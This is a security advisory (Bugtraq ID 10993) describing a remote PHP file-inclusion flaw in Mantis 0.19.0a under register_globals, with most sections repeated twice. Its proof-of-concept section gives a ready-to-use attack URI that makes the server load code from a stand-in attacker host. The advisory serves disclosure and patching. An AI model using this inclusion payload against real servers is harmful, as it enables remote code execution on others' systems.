Mantis Remote Server-Side Script Execution Vulnerability
BID:10993
Info
Mantis Remote Server-Side Script Execution Vulnerability
| Bugtraq ID: | 10993 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 21 2004 12:00AM |
| Updated: | Aug 21 2004 12:00AM |
| Credit: | Jose Antonio <[email protected]> disclosed this vulnerability. |
| Vulnerable: |
Mantis Mantis 0.19 .0a |
| Not Vulnerable: | |
Discussion
Mantis Remote Server-Side Script Execution Vulnerability
Mantix is reportedly susceptible to a remote server-side script execution vulnerability. This vulnerability only presents itself when PHP is configured on the hosting computer with 'register_globals = on'.
When PHP is configured to register global variables, an attacker can override variables used by the application in require() statements. By including a URI reference to a web server hosting a malicious script in GET, POST, or cookie data, an attacker can cause the PHP interpreter on the server hosting the affected package to request and execute attacker-supplied code.
This vulnerability could be exploited by a remote attacker to execute arbitrary script code in the context of the server hosting the affected application.
Version 0.19.0a is reported vulnerable to this issue. Other versions are also likely affected.
Mantix is reportedly susceptible to a remote server-side script execution vulnerability. This vulnerability only presents itself when PHP is configured on the hosting computer with 'register_globals = on'.
When PHP is configured to register global variables, an attacker can override variables used by the application in require() statements. By including a URI reference to a web server hosting a malicious script in GET, POST, or cookie data, an attacker can cause the PHP interpreter on the server hosting the affected package to request and execute attacker-supplied code.
This vulnerability could be exploited by a remote attacker to execute arbitrary script code in the context of the server hosting the affected application.
Version 0.19.0a is reported vulnerable to this issue. Other versions are also likely affected.
Exploit / POC
Mantis Remote Server-Side Script Execution Vulnerability
An exploit is not required. An example URI sufficient to exploit this vulnerability was provided:
http://www.example.com/mantis/core/bug_api.php?t_core_dir=http://attackers.example.com/
An exploit is not required. An example URI sufficient to exploit this vulnerability was provided:
http://www.example.com/mantis/core/bug_api.php?t_core_dir=http://attackers.example.com/
Solution / Fix
Mantis Remote Server-Side Script Execution Vulnerability
Solution:
Fixes have been provided by the vendor in the CVS version of the software. The CVS version has been fixed since 1 Aug 2004.
Solution:
Fixes have been provided by the vendor in the CVS version of the software. The CVS version has been fixed since 1 Aug 2004.
References
Mantis Remote Server-Side Script Execution Vulnerability
References:
References:
- Mantis Homepage (Mantis)
- Mantis Bugtracker Remote PHP Code Execution Vulnerability (Jose Antonio